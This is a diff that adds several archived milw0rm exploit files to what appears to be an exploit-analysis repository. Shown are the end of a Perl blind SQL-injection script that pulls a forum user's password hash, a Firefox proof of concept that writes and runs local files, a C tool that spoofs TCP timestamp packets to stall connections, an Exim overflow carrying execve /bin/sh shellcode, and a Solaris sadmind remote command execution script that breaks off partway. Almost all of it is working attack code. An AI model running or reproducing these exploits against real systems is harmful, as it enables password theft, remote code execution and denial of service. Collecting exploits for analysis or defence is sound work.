+ my $proxy = ''; # proxy, you can leave this empty
22
+ my $error = 'E-Mail-Adresse ist unzul&auml;ssig'; # use 'email address entered is already ta' for english boards
23
+
24
+
25
+ # proxy handling
26
+ my ($addr, $port) = ($proxy ne '') ? split(/:/, $proxy) : ($host, 80);
27
+ if($proxy ne '')
28
+ {
29
+ print "[~] Using a proxy\n";
30
+ }
31
+ else
32
+ {
33
+ print "[~] You're using NO proxy!\n";
34
+ sleep(1);
35
+ }
36
+
37
+
38
+
39
+
40
+
41
+ #
42
+ # Get the hash
43
+ #
44
+
45
+ print "[~] Getting the hash. Please wait some minutes..\n[+] Hash: ";
46
+
47
+
48
+ my $hash = '';
49
+ for(my $i=1;$i<33;$i++)
50
+ {
51
+ my $sock = new IO::Socket::INET(PeerAddr => $addr, PeerPort => $port, Proto => 'tcp', Timeout => 8) or die('[-] Could not connect to server');
52
+
53
+ if(&test($i, 96)) # buchstabe
54
+ {
55
+ for(my $c=97;$c<103;$c++)
56
+ {
57
+ if(&test($i, $c, 1))
58
+ {
59
+ print pack('c', $c);
60
+ last;
61
+ }
62
+ }
63
+ }
64
+ else # zahl
65
+ {
66
+ #print "0-4\n";
67
+ for(my $c=48;$c<58;$c++)
68
+ {
69
+ if(&test($i, $c, 1))
70
+ {
71
+ print pack('c', $c);
72
+ last;
73
+ }
74
+ }
75
+ }
76
+ }
77
+ print "\n";
78
+
79
+
80
+ sub test
81
+ {
82
+ my ($i, $num, $g) = @_;
83
+
84
+ my $sock = new IO::Socket::INET(PeerAddr => $addr, PeerPort => $port, Proto => 'tcp', Timeout => 8) or die('Could not connect to server');
85
+ my $value = "sre4sdffr\@4g54asd5.org' OR (userid=$userid AND ascii(substring(password,$i,1))";
86
+ $value .= ($g) ? '=' : '>';
87
+ $value .= "$num)/*";
88
+ my $data = "r_username=$username&r_email=$value&r_password=aaaaaaaa&r_confirmpassword=aaaaaaaa&r_homepage=&r_icq=&r_aim=&r_yim=&r_msn=&r_day=0&r_month=0&r_year=&r_gender=0&r_signature=&r_usertext=&field%5B1%5D=&field%5B2%5D=&field%5B3%5D=&r_invisible=0&r_usecookies=1&r_admincanemail=1&r_showemail=1&r_usercanemail=1&r_emailnotify=0&r_notificationperpm=0&r_receivepm=1&r_emailonpm=0&r_pmpopup=0&r_showsignatures=1&r_showavatars=1&r_showimages=1&r_daysprune=0&r_umaxposts=0&r_threadview=0&r_dateformat=d.m.Y&r_timeformat=H%3Ai&r_startweek=1&r_timezoneoffset=1&r_usewysiwyg=0&r_styleid=0&r_langid=0&send=send&sid=&disclaimer=viewed";
89
+
90
+ print $sock "POST http://$host${path}register.php HTTP/1.1\r\nHost: $host\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".length($data)."\r\n\r\n$data\r\n";
91
+
92
+
93
+ while(<$sock>)
94
+ {
95
+ if($_ =~ m/$error/) { return 1; }
96
+ }
97
+ return 0;
98
+ }
99
+
100
+ # milw0rm.com [2005-05-20]
exploit-analyzer/exploits/exploit_1007.txt ADDED
@@ -0,0 +1,82 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <html>
2
+ <head>
3
+ <title>Firelinking 2 - Proof-of-Concept by mikx</title>
4
+
5
+ <-- This PoC is cross platform : On Windows this example creates the file -->
6
+ <-- c:\booom.bat and launches it (opens a dos box with a dir command). On -->
7
+ <-- Linux (tested Fedora Core) and MacOSX the example creates the file -->
8
+ <-- ~/booom.txt or /booom.txt. Depending on caching the the script might -->
9
+ <-- run twice in some cases (this will create an additional booom-1.txt). -->
10
+
11
+ <link rel="SHORTCUT ICON" href="favicon.ico">
12
+ <script language="JavaScript" type="text/javascript">
13
+ var pf = navigator.platform.toLowerCase();
14
+ if (pf.indexOf("win") != -1) {
15
+ var os = "win";
16
+ } else if (pf.indexOf("mac") != -1) {
17
+ var os = "mac";
18
+ } else {
19
+ var os = "linux"
20
+ }
21
+ function runDemo() {
22
+ // this is an ugly caching workaround
23
+ document.getElementById('outhtml').innerHTML = "";
24
+ document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
25
+ document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
26
+ document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
27
+ window.setTimeout("document.getElementById('outhtml').innerHTML +=
28
+ document.getElementById('linkhtml_"+os+"').value",300);
29
+ }
30
+ </script>
31
+ </head>
32
+ <body>
33
+ <div style="font-family:Verdana;font-size:11px;">
34
+
35
+ <div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking 2 - Proof-of-Concept</div>
36
+ <br><br>
37
+ <div style="width:600px">
38
+ <div id="outhtml" style="display:none"></div>
39
+
40
+ <textarea id="clearhtml" style="display:none">
41
+ <link rel="SHORTCUT ICON" href="favicon.ico">
42
+ &lt;/textarea&gt;
43
+
44
+ <textarea id="linkhtml_win" style="display:none">
45
+ <link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('
46
+ javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
47
+ file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.
48
+ nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.
49
+ nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
50
+ file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
51
+ outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n
52
+ PAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')">
53
+ &lt;/textarea&gt;
54
+
55
+ <textarea id="linkhtml_mac" style="display:none">
56
+ <link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:
57
+ netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.
58
+ classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
59
+ file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.
60
+ NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
61
+ file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
62
+ outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write
63
+ (output,output.length);outputStream.close();','','')">
64
+ &lt;/textarea&gt;
65
+
66
+ <textarea id="linkhtml_linux" style="display:none">
67
+ <link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:
68
+ netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.
69
+ classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.
70
+ initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.
71
+ NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
72
+ file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
73
+ outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write
74
+ (output,output.length);outputStream.close();','','')">
75
+ &lt;/textarea&gt;
76
+ <br><br>
77
+ <a href="#" onclick="runDemo();runDemo();">Run exploit</a>
78
+ </div>
79
+ </body>
80
+ </html>
81
+
82
+ # milw0rm.com [2005-05-21]
exploit-analyzer/exploits/exploit_1008.txt ADDED
@@ -0,0 +1,255 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * TCP does not adequately validate segments before updating timestamp value
3
+ * http://www.kb.cert.org/vuls/id/637934
4
+ *
5
+ * RFC-1323 (TCP Extensions for High Performance)
6
+ *
7
+ * 4.2.1 defines how the PAWS algorithm should drop packets with invalid
8
+ * timestamp options:
9
+ *
10
+ * R1) If there is a Timestamps option in the arriving segment
11
+ * and SEG.TSval < TS.Recent and if TS.Recent is valid (see
12
+ * later discussion), then treat the arriving segment as not
13
+ * acceptable:
14
+ *
15
+ * Send an acknowledgement in reply as specified in
16
+ * RFC-793 page 69 and drop the segment.
17
+ *
18
+ * 3.4 defines what timestamp options to accept:
19
+ *
20
+ * (2) If Last.ACK.sent falls within the range of sequence numbers
21
+ * of an incoming segment:
22
+ *
23
+ * SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN
24
+ *
25
+ * then the TSval from the segment is copied to TS.Recent;
26
+ * otherwise, the TSval is ignored.
27
+ *
28
+ * http://community.roxen.com/developers/idocs/drafts/
29
+ * draft-jacobson-tsvwg-1323bis-00.html
30
+ *
31
+ * 3.4 suggests an slightly different check like
32
+ *
33
+ * (2) If: SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent
34
+ * then SEG.TSval is copied to TS.Recent; otherwise, it is
35
+ * ignored.
36
+ *
37
+ * and explains this change
38
+ *
39
+ * APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323
40
+ *
41
+ * There are additional changes in this document from RFC-1323.
42
+ * These changes are:
43
+ * (b) In RFC-1323, section 3.4, step (2) of the algorithm to control
44
+ * which timestamp is echoed was incorrect in two regards:
45
+ * (1) It failed to update TSrecent for a retransmitted segment
46
+ * that resulted from a lost ACK.
47
+ * (2) It failed if SEG.LEN = 0.
48
+ * In the new algorithm, the case of SEG.TSval = TSrecent is
49
+ * included for consistency with the PAWS test.
50
+ *
51
+ * At least OpenBSD and FreeBSD contain this code instead:
52
+ *
53
+ * sys/netinet/tcp_input.c tcp_input()
54
+ *
55
+ * **
56
+ * * If last ACK falls within this segment's sequence numbers,
57
+ * * record its timestamp.
58
+ * * NOTE that the test is modified according to the latest
59
+ * * proposal of the tcplw@cray.com list (Braden 1993/04/26).
60
+ * **
61
+ * if ((to.to_flags & TOF_TS) != 0 &&
62
+ * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
63
+ * tp->ts_recent_age = ticks;
64
+ * tp->ts_recent = to.to_tsval;
65
+ * }
66
+ *
67
+ * The problem here is that the packet the timestamp is accepted from doesn't
68
+ * need to have a valid th_seq or th_ack. This point of execution is reached
69
+ * for packets with arbitrary th_ack values and th_seq values of half the
70
+ * possible value range, because the first 'if (todrop > tlen)' check in the
71
+ * function explicitely continues execution to process ACKs.
72
+ *
73
+ * If an attacker knows (or guesses) the source and destination addresses and
74
+ * ports of a connection between two peers, he can send spoofed TCP packets
75
+ * to either peer containing bogus timestamp options. Since half of the
76
+ * possible th_seq and timestamp values are accepted, four packets containing
77
+ * two random values and their integer wraparound opposites are sufficient to
78
+ * get one random timestamp accepted by the receipient. Further packets from
79
+ * the real peer will get dropped by PAWS, and the TCP connection stalls and
80
+ * times out.
81
+ *
82
+ * The following change reverts the tcp_input() check back to the implemented
83
+ * suggested by draft-jacobson-tsvwg-1323bis-00.txt
84
+ *
85
+ * if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) &&
86
+ * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
87
+ * + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen +
88
+ * + ((tiflags & (TH_SYN|TH_FIN)) != 0)))
89
+ * + tp->ts_recent = opti.ts_val;
90
+ * + else
91
+ * + tp->ts_recent = 0;
92
+ * tp->ts_recent_age = tcp_now;
93
+ * - tp->ts_recent = opti.ts_val;
94
+ * }
95
+ *
96
+ * I can't find Braden's proposal referenced in the comment. It seems to
97
+ * pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by
98
+ * it.
99
+ *
100
+ * Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <daniel@benzedrine.cx>
101
+ *
102
+ * http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\
103
+ * ?r1=1.184&r2=1.185&f=h
104
+ *
105
+ * http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\
106
+ * ?r1=1.252.2.15&r2=1.252.2.16&f=h
107
+ *
108
+ */
109
+
110
+ #include <stdio.h>
111
+ #include <stdlib.h>
112
+ #include <sys/socket.h>
113
+ #include <net/if.h>
114
+ #ifdef __FreeBSD__
115
+ #include <net/if_var.h>
116
+ #endif
117
+ #include <netinet/in.h>
118
+ #include <netinet/in_var.h>
119
+ #include <netinet/in_systm.h>
120
+ #include <netinet/ip.h>
121
+ #include <netinet/tcp.h>
122
+
123
+ static u_int16_t
124
+ checksum(u_int16_t *data, u_int16_t length)
125
+ {
126
+ u_int32_t value = 0;
127
+ u_int16_t i;
128
+
129
+ for (i = 0; i < (length >> 1); ++i)
130
+ value += data[i];
131
+ if ((length & 1) == 1)
132
+ value += (data[i] << 8);
133
+ value = (value & 65535) + (value >> 16);
134
+ return (~value);
135
+ }
136
+
137
+ static int
138
+ send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport,
139
+ u_int16_t dport, u_int32_t seq, u_int32_t ts)
140
+ {
141
+ u_char packet[1600];
142
+ struct tcphdr *tcp;
143
+ struct ip *ip;
144
+ unsigned char *opt;
145
+ int optlen, len, r;
146
+ struct sockaddr_in sin;
147
+
148
+ memset(packet, 0, sizeof(packet));
149
+
150
+ opt = packet + sizeof(struct ip) + sizeof(struct tcphdr);
151
+ optlen = 0;
152
+ opt[optlen++] = TCPOPT_NOP;
153
+ opt[optlen++] = TCPOPT_NOP;
154
+ opt[optlen++] = TCPOPT_TIMESTAMP;
155
+ opt[optlen++] = 10;
156
+ ts = htonl(ts);
157
+ memcpy(opt + optlen, &ts, sizeof(ts));
158
+ optlen += sizeof(ts);
159
+ ts = htonl(0);
160
+ memcpy(opt + optlen, &ts, sizeof(ts));
161
+ optlen += sizeof(ts);
162
+
163
+ len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen;
164
+
165
+ ip = (struct ip *)packet;
166
+ ip->ip_src.s_addr = saddr;
167
+ ip->ip_dst.s_addr = daddr;
168
+ ip->ip_p = IPPROTO_TCP;
169
+ ip->ip_len = htons(sizeof(struct tcphdr) + optlen);
170
+
171
+ tcp = (struct tcphdr *)(packet + sizeof(struct ip));
172
+ tcp->th_sport = htons(sport);
173
+ tcp->th_dport = htons(dport);
174
+ tcp->th_seq = htonl(seq);
175
+ tcp->th_ack = 0;
176
+ tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;
177
+ tcp->th_flags = 0;
178
+ tcp->th_win = htons(16384);
179
+ tcp->th_sum = 0;
180
+ tcp->th_urp = 0;
181
+
182
+ tcp->th_sum = checksum((u_int16_t *)ip, len);
183
+
184
+ ip->ip_v = 4;
185
+ ip->ip_hl = 5;
186
+ ip->ip_tos = 0;
187
+ ip->ip_len = htons(len);
188
+ ip->ip_id = htons(arc4random() % 65536);
189
+ ip->ip_off = 0;
190
+ ip->ip_ttl = 64;
191
+
192
+ sin.sin_family = AF_INET;
193
+ sin.sin_addr.s_addr = saddr;
194
+
195
+ r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));
196
+ if (r != len) {
197
+ perror("sendto");
198
+ return (1);
199
+ }
200
+
201
+ return (0);
202
+ }
203
+
204
+ static u_int32_t
205
+ op(u_int32_t u)
206
+ {
207
+ return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL);
208
+ }
209
+
210
+ int main(int argc, char *argv[])
211
+ {
212
+ u_int32_t saddr, daddr, seq, ts;
213
+ u_int16_t sport, dport;
214
+ int sock, i;
215
+
216
+ if (argc != 5) {
217
+ fprintf(stderr, "usage: %s <src ip> <src port> "
218
+ "<dst ip> <dst port>\n", argv[0]);
219
+ return (1);
220
+ }
221
+
222
+ saddr = inet_addr(argv[1]);
223
+ daddr = inet_addr(argv[3]);
224
+ sport = atoi(argv[2]);
225
+ dport = atoi(argv[4]);
226
+
227
+ sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
228
+ if (sock < 0) {
229
+ perror("socket");
230
+ return (1);
231
+ }
232
+ i = 1;
233
+ if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) {
234
+ perror("setsockopt");
235
+ close(sock);
236
+ return (1);
237
+ }
238
+
239
+ seq = arc4random();
240
+ ts = arc4random();
241
+ if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) ||
242
+ send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) ||
243
+ send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) ||
244
+ send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) {
245
+ fprintf(stderr, "failed\n");
246
+ close(sock);
247
+ return (1);
248
+ }
249
+
250
+ close(sock);
251
+ printf("done\n");
252
+ return (0);
253
+ }
254
+
255
+ // milw0rm.com [2005-05-21]
exploit-analyzer/exploits/exploit_1009.txt ADDED
@@ -0,0 +1,70 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * ripped straight off iDEFENSE advisory - so lazy I just picked
3
+ * up GDB... bored on a weeknight :(
4
+ *
5
+ * nothing to write home to mother about due to the fact that
6
+ * you need a local user account on a server and all you
7
+ * get is to read other people's emails ....
8
+ *
9
+ * not even my own shellcode. aleph1 shellcode - cut and paste job
10
+ * with nops to pad.
11
+ *
12
+ * Regards,
13
+ * Plugger aka Tony Lockett
14
+ *
15
+ *
16
+ *
17
+ */
18
+
19
+ char bomb[288]=
20
+
21
+ /* the gear from iDEFENSE */
22
+ "::%A:::::::::::::::::" /* 21 bytes */
23
+ /* -------- */
24
+ /* NOPS for padding */
25
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
26
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
27
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
28
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
29
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
30
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
31
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
32
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
33
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
34
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
35
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
36
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
37
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
38
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
39
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
40
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
41
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
42
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
43
+ "\x90\x90" /* 218 bytes */
44
+ /* --------- */
45
+ /* actual code courtesy Aleph1 */
46
+ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" /* 12 bytes */
47
+ "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" /* 12 bytes */
48
+ "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" /* 9 bytes */
49
+ "\xe8\xdc\xff\xff\xff/bin/sh" /* 12 bytes */
50
+
51
+ /* where EIP should point */
52
+ "\xf4\xf2\xff\xbf"; /* 4 bytes */
53
+ /* -------- */
54
+ /* 49 bytes */
55
+ /* -------- */
56
+ /* 288 bytes */
57
+ /* ========= */
58
+ main()
59
+ {
60
+ char *exim[4];
61
+ exim[0] = "/usr/exim/bin/exim";
62
+ exim[1] = "-bh";
63
+ exim[2] = bomb;
64
+ exim[3] = 0x0;
65
+ printf("Firing up exim - cross your fingers for shell!\n");
66
+ execve(exim[0],exim,0x0);
67
+ return;
68
+ }
69
+
70
+ // milw0rm.com [2005-05-25]
exploit-analyzer/exploits/exploit_101.txt ADDED
@@ -0,0 +1,429 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/perl -w
2
+ ##################
3
+
4
+ ##
5
+ # Title: rootdown.pl
6
+ # Purpose: Solaris Remote command executiong via sadmind
7
+ # Author: H D Moore hdm at metasploit.com
8
+ # Copyright: Copyright (C) 2003 METASPLOIT.COM
9
+ ##
10
+
11
+
12
+ use strict;
13
+ use POSIX;
14
+ use IO::Socket;
15
+ use IO::Select;
16
+ use Getopt::Std;
17
+
18
+ my $VERSION = "1.0";
19
+ my %opts;
20
+
21
+ getopts("h:p:c:r:iv", \%opts);
22
+
23
+ if ($opts{v}) { show_info() }
24
+
25
+ if (! $opts{h}) { usage() }
26
+
27
+ my $target_host = $opts{h};
28
+
29
+ my $target_name = "exploit";
30
+
31
+ my $command = $opts{c} ? $opts{c} : "touch /tmp/OWNED_BY_SADMIND_\$\$";
32
+ my $portmap = $opts{r} ? $opts{r} : 111;
33
+
34
+
35
+ ##
36
+ # Determine the port used by sadmind
37
+ ##
38
+
39
+ my $target_port = $opts{p} ? $opts{p} : rpc_getport($target_host, $portmap, 100232, 10);
40
+
41
+ if (! $target_port)
42
+ {
43
+ print STDERR "Error: could not determine port used by sadmind\n";
44
+ exit(0);
45
+ }
46
+
47
+ ##
48
+ # Determine the hostname of the target
49
+ ##
50
+
51
+ my $s = rpc_socket($target_host, $target_port);
52
+ my $x = rpc_sadmin_exec($target_name, "id");
53
+ print $s $x;
54
+ my $r = rpc_read($s);
55
+ close ($s);
56
+
57
+ if ($r && $r =~ m/Security exception on host (.*)\. USER/)
58
+ {
59
+ $target_name = $1;
60
+ } else {
61
+ print STDERR "Error: could not obtain target hostname.\n";
62
+ exit(0);
63
+ }
64
+
65
+
66
+ ##
67
+ # Execute commands :)
68
+ ##
69
+
70
+
71
+ my $interactive = 0;
72
+
73
+ if ($opts{i}) { $interactive++ }
74
+
75
+ do {
76
+
77
+ if ($opts{i}) { $command = command_prompt() } else
78
+ {
79
+ print STDERR "Executing command on '$target_name' via port $target_port\n";
80
+ }
81
+
82
+ $s = rpc_socket($target_host, $target_port);
83
+ $x = rpc_sadmin_exec($target_name, $command);
84
+ print $s $x;
85
+ $r = rpc_read($s);
86
+ close ($s);
87
+
88
+ if ($r)
89
+ {
90
+ # Command Failed
91
+ if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x29")
92
+ {
93
+ print STDERR "Error: something went wrong with the RPC format.\n";
94
+ exit(0);
95
+ }
96
+
97
+ # Command might have failed
98
+ if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x2b")
99
+ {
100
+ print STDERR "Error: something may have gone wrong with the sadmind format\n";
101
+ }
102
+
103
+ # Confirmed success
104
+ if (length($r) == 36 && substr($r, 24, 12) eq ("\x00" x 12))
105
+ {
106
+ print STDERR "Success: your command has been executed successfully.\n";
107
+ }
108
+
109
+ if (length($r) != 36) { print STDERR "Unknown Response: $r\n" }
110
+
111
+ } else {
112
+ print STDERR "Error: no response recieved, you may want to try again.\n";
113
+ exit(0);
114
+ }
115
+
116
+ } while ($interactive);
117
+
118
+ exit(0);
119
+
120
+ sub usage {
121
+ print STDERR "\n";
122
+ print STDERR "+-----==[ rootdown.pl => Solaris SADMIND Remote Command Execution\n\n";
123
+ print STDERR " Usage: $0 -h <target> -c <command> [options]\n";
124
+ print STDERR " Options:\n";
125
+ print STDERR " -i\tStart interactive mode (for multiple commands)\n";
126
+ print STDERR " -p\tAvoid the portmapper and use this sadmind port\n";
127
+ print STDERR " -r\tQuery alternate portmapper on this UDP port\n";
128
+ print STDERR " -v\tDisplay information about this exploit\n";
129
+
130
+ print STDERR "\n\n";
131
+ exit(0);
132
+ }
133
+
134
+ sub show_info {
135
+
136
+ print "\n\n";
137
+ print " Name: rootdown.pl\n";
138
+ print " Author: H D Moore <hdm\@metasploit.com>\n";
139
+ print "Version: $VERSION\n\n";
140
+
141
+ # not finsihed :)
142
+ print
143
+ "This exploit targets a weakness in the default security settings
144
+ of the sadmind RPC application. This application is installed and
145
+ enabled by default on most versions of the Solaris operating
146
+ system.\n\n".
147
+
148
+ "The sadmind application defaults to a weak security mode known as
149
+ AUTH_SYS (or AUTH_UNIX under Linux/BSD). When running in this mode,
150
+ the service will accept a structure containing the user and group
151
+ IDs as well as the originating system name. These values are not
152
+ validated in any form and are completely controlled by the client.
153
+ If the standard sadmin RPC API calls are used to generate the request,
154
+ the ADM_CLIENT_HOST parameter is filled in with the hostname of the
155
+ client system. If the RPC packet is modified so that this field is
156
+ set to the hostname of the remote system, it will be processed as
157
+ if it was a local request. If the user ID is set to zero or the
158
+ value of any user in the sysadmin group, it is possible to call
159
+ arbitrary methods in any class available to sadmind.\n\n".
160
+
161
+ "If the Solstice AdminSuite client software has not been installed,
162
+ the only class available is 'system', which only contains a single
163
+ method called 'admpipe'. The strings within this program seem to
164
+ suggest that it can be used run arbitrary commands, however I chose
165
+ a different method of command execution. Since each method is simply
166
+ an executable in the class directory, it is possible to use a
167
+ standard directory traversal attack to execute any application.
168
+ We can pass arguments to these methods using the standard API.
169
+
170
+ An example of spawning a shell which executes the 'id' command:
171
+
172
+ # apm -c system -m ../../../../../bin/sh -a arg1=-c arg2=id\n\n".
173
+
174
+ "To exploit this vulnerability, we must create a RPC packet that
175
+ calls the '/bin/sh' method, passing it the parameter of the command
176
+ we want to execute. To do this, packet dumps of the 'apm' tool
177
+ were obtained and the format was slowly mapped. The hostname of
178
+ the target system must be known for this exploit to work, however
179
+ when sadmind is called with the wrong name, it replies with a
180
+ 'ACCESS DENIED' error message containing the correct name. The
181
+ final code does the following:
182
+
183
+ 1) Queries the portmapper to determine the sadmind port
184
+ 2) Sends an invalid request to sadmind to obtain the hostname
185
+ 3) Uses the hostname to forge the RPC packet and execute commands
186
+
187
+
188
+ This vulnerability was reported by Mark Zielinski and disclosed by iDefense.
189
+
190
+ Related URLs:
191
+
192
+ - http://www.idefense.com/advisory/09.16.03.txt
193
+ - http://docs.sun.com/db/doc/816-0211/6m6nc676b?a=view
194
+ ";
195
+
196
+
197
+
198
+
199
+
200
+ exit(0);
201
+ }
202
+
203
+ sub command_prompt {
204
+ select(STDOUT); $|++;
205
+
206
+ print STDOUT "\nsadmind> ";
207
+ my $command = <STDIN>;
208
+ chomp($command);
209
+ if (! $command || lc($command) eq "quit" || lc($command) eq "exit")
210
+ {
211
+ print "\nExiting interactive mode...\n";
212
